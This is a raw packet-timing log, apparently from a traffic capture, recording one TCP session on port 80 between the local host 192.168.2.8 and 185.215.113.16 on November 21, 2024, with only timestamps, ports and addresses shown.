Nov 21, 2024 19:59:00.766083956 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.767407894 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.767416000 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.767453909 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.768747091 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.768866062 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.768932104 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.770190954 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.770247936 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.770287991 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.770389080 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.771632910 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.771709919 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.771737099 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.771785021 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.773065090 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.773169041 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.773303032 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.773355961 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.774122953 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.774185896 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.774220943 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.775242090 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.775250912 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.775307894 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.776299953 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.776334047 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.776384115 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.777331114 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.777370930 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.777396917 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.777409077 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.778379917 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.778461933 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.778485060 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.778542995 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.779385090 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.779575109 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.779823065 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.779870033 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.780586004 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.780651093 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.780668020 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.780766010 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.781693935 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.781797886 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.781810045 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.782006025 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.782506943 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.782573938 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.782684088 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.782735109 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.783554077 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.783624887 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.783648968 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.783679962 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.784598112 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.784646988 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.784662962 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.784707069 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.785634995 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.785685062 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.785705090 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.785763025 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.786715031 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.786885023 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.786923885 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.786957026 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.787703991 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.787786961 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.787791014 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.787880898 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.788804054 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.788997889 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.789024115 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.789115906 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.789843082 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.789910078 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.789932966 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.789989948 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.790890932 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.790967941 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.790970087 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.791074991 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.791906118 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.791968107 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.792028904 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.792239904 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.792972088 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.793031931 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.793083906 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.794209003 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.794290066 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.794302940 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.794342041 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.795130968 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.795197010 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.795223951 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.795316935 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.796135902 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.796226025 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.796281099 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.797168016 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.797225952 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.797291040 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.797363997 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.798219919 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.798280001 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.798310041 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.798389912 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.799233913 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.799242973 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.799328089 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.800312042 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.800375938 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.800476074 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.800523996 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.801330090 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.801405907 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.801450014 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.801465034 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.802428961 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.802488089 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.802634001 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.802771091 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.803464890 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.803539038 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.803575039 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.803749084 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.804498911 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.804560900 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.804562092 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.804625034 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.805474043 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.805525064 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.805962086 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.806013107 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.806570053 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.806622028 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.806632042 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.806678057 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.807635069 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.807689905 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.807760000 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.807799101 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.808655977 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.808702946 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.808783054 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.809114933 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.809699059 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.809743881 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.809827089 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.809892893 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.810852051 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.810861111 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.810925007 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.812027931 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.812079906 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.812217951 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.812330008 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.812833071 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.812937021 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.812962055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.813019037 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.813940048 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.813957930 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.814024925 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.815206051 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.815304041 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.815339088 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.815408945 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.815951109 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.816020966 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.816057920 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.816180944 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.819008112 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.819112062 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.819149971 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.819161892 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.819493055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.819539070 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.819621086 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.819670916 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.821494102 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.821624041 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.821652889 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.822011948 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.822079897 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.822113037 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.822159052 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.824125051 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.824244976 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.824249983 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.824357986 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.824671984 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.824722052 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.824729919 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.824775934 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.827862978 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.827990055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.827991962 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.828071117 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.828433990 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.828483105 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.828567028 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.828610897 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.830825090 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.830934048 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.831049919 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.831393003 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.831444025 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.831506014 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.831553936 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.833082914 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.833333015 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.833353996 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.833444118 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.833599091 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.833647966 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.833683014 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.833729982 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.835666895 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.835767984 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.835803986 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.835815907 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.836203098 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.836241961 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.836313963 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.836369991 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.838776112 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.838799953 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.838850021 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.838892937 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.839339972 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.839349031 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.839390039 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.841772079 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.841828108 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.841975927 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.842017889 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.842339993 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.842390060 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.842418909 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.842525959 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.844417095 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.844472885 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.844562054 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.844630003 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.844897985 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.844981909 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.888281107 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.888360977 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.888380051 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.888413906 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.888700962 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.888710976 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.888794899 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.889465094 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.889589071 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.889636040 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.889656067 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.890407085 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.890496016 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.929902077 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.929913044 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.929920912 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.930015087 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.930063963 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.930233002 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.930274010 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.930285931 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.930335999 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.931122065 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.931140900 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.931155920 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.931211948 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.932065010 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.932105064 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.932115078 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.932137012 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.932180882 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.932867050 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.932904005 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.932912111 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.932946920 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.932985067 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.933804035 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.933871984 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.933880091 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.933912039 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.933953047 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.934684992 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.934694052 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.934710979 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.934771061 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.934998035 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.935487986 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.935497046 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.935513020 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.935553074 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.935713053 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.936328888 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.936352015 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.936359882 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.936398029 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.936415911 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.937118053 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.937165976 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.937175035 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.937225103 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.937946081 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.937967062 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.937975883 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.938004017 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.938039064 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.938776016 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.938855886 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.938864946 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.938908100 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.938936949 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.939651966 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.939706087 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.939723015 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.939732075 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.939776897 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.940458059 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.940537930 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.940547943 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.940571070 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.940587044 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.941225052 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.941265106 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.941272974 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.941319942 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.942019939 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.942058086 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.942066908 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.942074060 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.942151070 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.942837000 CET	80	49831	185.215.113.16	192.168.2.8
